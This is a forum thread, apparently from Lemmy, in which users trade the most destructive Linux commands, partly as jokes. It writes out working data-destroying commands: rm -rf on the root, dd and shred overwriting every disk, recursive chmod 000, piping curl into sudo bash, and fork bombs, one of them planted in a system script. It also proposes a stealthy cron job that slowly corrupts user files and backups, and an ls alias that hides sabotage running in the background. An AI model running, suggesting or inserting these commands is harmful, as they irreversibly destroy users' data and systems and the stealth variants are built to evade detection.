Many people have given great suggestions for the most destroying commands, but most result in an immediately borked system. While inconvenient, that doesn’t have a lasting impact on users who have backups.
I propose writing a bash script set up to run daily in cron, which picks a random file in the user’s home directory tree and randomizes just a few bytes of data in the file. The script doesn’t immediately damage the basic OS functionality, and the data degradation is so slow that by the time the user realizes something fishy is going on a lot of their documents, media, and hopefully a few months worth of backups will have been corrupted.
Calm down there Satan.
It’ll just write a new Shakespeare play
I think we may need to implement a 128 bit unix timestamp before that will work.
If you allow root privileges, there is:
sudo rm -rf --no-preserve-root /If you want to be malicious:
sudo dd if=/dev/urandom of=/dev/sdXor
sudo find / -exec shred -u {} \;Let’s extend a little and really do some damage
for x in /dev/(sd|nvme)*; do dd if=/dev/urandom of=$x bs=1024 & ; done
Now
alias ls=all that. And throw it in a background process. And actually return the value of ls so it doesn’t look like anything nefarious is going on.I bet you could chroot into a ram disk so you’re not tearing the floor out from under you.
The victim would find this prank hilarious and everyone would like you and think you’re super cool.
You evil being! LMAO You just made me even more paranoid now, questioning every command I type 🤣
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Nice idea!
Don’t forget the mmc block devices too. Gotta purge those SD cards. (/dev/mmcblk*)
JFC. That’s terminal.
Yes, you enter that in the terminal
🙃
Some generative AI is going to swallow this thread and burp it up later
cat bomb_threat.txt | mail tips@fbi.gov
sudo chmod 000 -R /is very fun way of braking your system and is not widely known 🙂What does this do? nobody can read any file? would sudo chmod 777 fix it at least to a usable system?
The trick is that you loose access to every file on the system.
chmodis also a file. Andls. Andsudo. You see where it’s going. System will kinda work after this command, but rebooting (which by a coincidence is a common action for “fixing” things) will reveal that system is dead.
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Glorious.
What’s this do?
My guess is that it takes the output of the “exit” command and writes it to .bashrc. I believe this would make it impossible to open the terminal, but it could just close the terminal and do nothing instead.
That’s nice.
using
systemctl poweroffadds a bit of extra round trip time…
vim
Everyone else talking about how to shred files or even the BIOS is missing a big leap, yeah. Not just destroying the computer: destroying the person in front of it! And vim is happy to provide. 😅
Emotional damage
True, just entering vim on a pc for a user who doesn’t know about vim’s existence is basically a prison sentence. They will literally be trapped in vim hell until they power down their PC.
I once entered vim into a computer. I couldn’t exit. I tried unplugging the computer but vim persisted. I took it to the dump, where I assume vim is still running to this very day.
Everyone is deleting data, but with proper backups that’s not a problem. How about:
curl insert_url_here | sudo bash
This can really mess up your life.
Even if the script isn’t malicious, if the internet drops out halfway the download you might end up with a “rm -r /”, or similar, command.
Worst I can imagine would be something like zeroing your bios using flashrom.
Probably dd if=/dev/zero of=/dev/sda or whatever your system volume is
With wear levelling on SSDs you may be able to recover some of the data
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I did have RH Linux die while updating core libs a very long time ago. It deleted them and the system shut down. No reboot possible. I eventually (like later that day) copied a set of libs from another rh system and was able to boot and recover.
Never used rh by choice again after that.
Everyone is talking about
rm -rf /and damage to storage drives, but I read somewhere about EFI variables having something to do with bricking the computer. If this is possible, then it’s a lot more damage than just disk drives.Edit: this is interesting SE post https://superuser.com/questions/313850
Mistaking if= and of= when using dd.
Ouch!
Why didn’t they called them from= and to= ? :(
Ctrl-D
Kills the terminal instantly.
Unless ignoreeof is on
./self_destruct.sh
Assuming you have a script that triggers explosives to destroy your computer.
Reminds me of those Defcon talks where they discover it’s really hard to pack a HDD killing device into a 2ru server.
:():;:
That ‘amp;’ does not belong in there, it’s probably either a copy-paste error or a Lemmy-error.
What this does (or would do it it were done correctly) is define a function called “:” (the colon symbol) which recursively calls itself twice, piping the output of one instance to the input of the other, then forks the resulting mess to the background. After defining that fork bomb of a function, it is immediately called once.
It’s a very old trick that existed even on some of the ancient Unix systems that predated Linux. I think there’s some way of defending against using cgroups, but I don’t know how from the top of my head.
I think however you’re accessing Lemmy is rendering it wrong. I see the usual function.
It’s a lemmy problem
AFAIR a simple ulimit will work
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I think poor Lemmy is trying to help URL encode your fork bomb lol
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I was going to suggest a fork bomb, but it is recovered easily. Then I thought about inserting a fork bomb into
.profile, or better, into a boot process script, like:echo ':(){:|:&};:' | sudo tee -a /bin/iptables-applyThat could be pretty nasty. But still, pretty easy to recover from, so not really “destructive.”
